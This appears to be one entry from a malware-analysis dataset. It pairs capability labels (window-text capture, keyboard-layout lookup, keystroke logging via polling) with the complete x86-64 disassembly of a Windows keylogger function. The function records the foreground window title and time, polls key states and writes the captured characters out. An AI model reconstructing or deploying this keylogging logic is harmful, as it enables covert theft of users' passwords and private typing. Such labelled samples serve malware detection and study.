Function at 0x140001c50
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000c008]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov ebx, ecx
xor esi, esi
mov dword [rsp + 0x40], esi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140007720]
mov qword [rsp + 0x70], rax
lea rax, [0x140007650]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 1
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x10], rsi
mov dword [rbp - 8], esi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdi, rax
mov r14d, esi
test rax, rax
je 0x140001e28
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r14, rax
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rcx, [rbp + 0xb0]
lea r9, [0x14000cb70]
sub r9, rcx
nop
movzx r8d, byte [rcx]
movzx eax, byte [rcx + r9]
sub r8d, eax
jne 0x140001d85
inc rcx
test eax, eax
jne 0x140001d70
test r8d, r8d
je 0x140001e28
lea r8, [rbp + 0xb0]
mov edx, pe_nt_image_headers64
lea rcx, [0x14000cb70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rsp + 0x48]
lea r8, str._FT_X_z
mov edx, 0x40
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, str._n_n_Window:
lea rcx, [rbp - 0x80]
call fcn.140003ed0
mov rcx, rax
lea rdx, [rbp + 0xb0]
call fcn.140003ed0
mov rcx, rax
lea rdx, str.___at
call fcn.140003ed0
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.140003ed0
mov rcx, rax
lea rdx, [0x1400078d8]
call fcn.140003ed0
mov rdx, qword [0x14000cb60]
mov rax, qword [rdx + 8]
mov r8, rdx
movzx r9d, byte [rax + 0x19]
test r9b, r9b
jne 0x140001e5a
mov rcx, rax
cmp dword [rcx + 0x20], ebx
jge 0x140001e4e
mov rcx, qword [rcx + 0x10]
jmp 0x140001e54
mov r8, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140001e43
mov r15d, 0x1000
cmp byte [r8 + 0x19], 0
jne 0x140001eca
cmp ebx, dword [r8 + 0x20]
jl 0x140001eca
cmp r8, rdx
je 0x140001eca
test r9b, r9b
jne 0x140001e8e
cmp dword [rax + 0x20], ebx
jge 0x140001e82
mov rax, qword [rax + 0x10]
jmp 0x140001e88
mov rdx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140001e77
cmp byte [rdx + 0x19], 0
jne 0x140001ebc
cmp ebx, dword [rdx + 0x20]
jl 0x140001ebc
lea r8, [rdx + 0x28]
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x140001eaa
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140004530
jmp 0x140001f3e
lea rcx, str.invalid_map_K__T__key
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
and dil, 1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test r15w, ax
jne 0x140001f0f
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
test r15w, ax
jne 0x140001f0f
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test r15w, ax
je 0x140001f13
xor dil, 1
mov r8, r14
mov edx, 2
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test dil, dil
jne 0x140001f31
movsx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx edx, al
lea rcx, [rbp - 0x80]
call fcn.1400040a0
nop
mov qword [rsp + 0x48], rsi
mov rcx, rsi
mov qword [rsp + 0x58], rcx
mov ebx, 0xf
mov r9d, ebx
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x48], cl
mov dword [rsp + 0x40], 5
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov edx, dword [rbp - 8]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x140001f98
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
test r8, r8
je 0x140001f98
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x10]
cmovb r8, qword [rbp - 0x10]
sub r8, rdx
jmp 0x140001fc9
test dl, 4
jne 0x140001fbf
mov rax, qword [rbp - 0x40]
mov r10, qword [rax]
test r10, r10
je 0x140001fbf
mov rax, qword [rbp - 0x60]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, r10
jmp 0x140001fc9
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x140001fe2
lea rcx, [rsp + 0x48]
call fcn.140003d40
mov r9, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
cmp r9, 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, rcx
lea rcx, [0x14000c050]
call fcn.140004530
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000203d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r15
jb 0x140002038
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002038
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000527c
lea rcx, [0x14000c050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
nop
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x13
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov ecx, dword [rbp - 8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000209b
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
test r8, r8
je 0x14000209b
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x10]
cmovb r8, qword [rbp - 0x10]
sub r8, rdx
jmp 0x1400020cc
test cl, 4
jne 0x1400020c2
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400020c2
mov rax, qword [rbp - 0x60]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x1400020cc
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x1400020e5
lea rcx, [rsp + 0x48]
call fcn.140003d40
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
cmp rbx, 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, rsi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004530
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140002141
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r15
jb 0x14000213b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000213b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000527c
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call fcn.140002c80
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140004f00
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret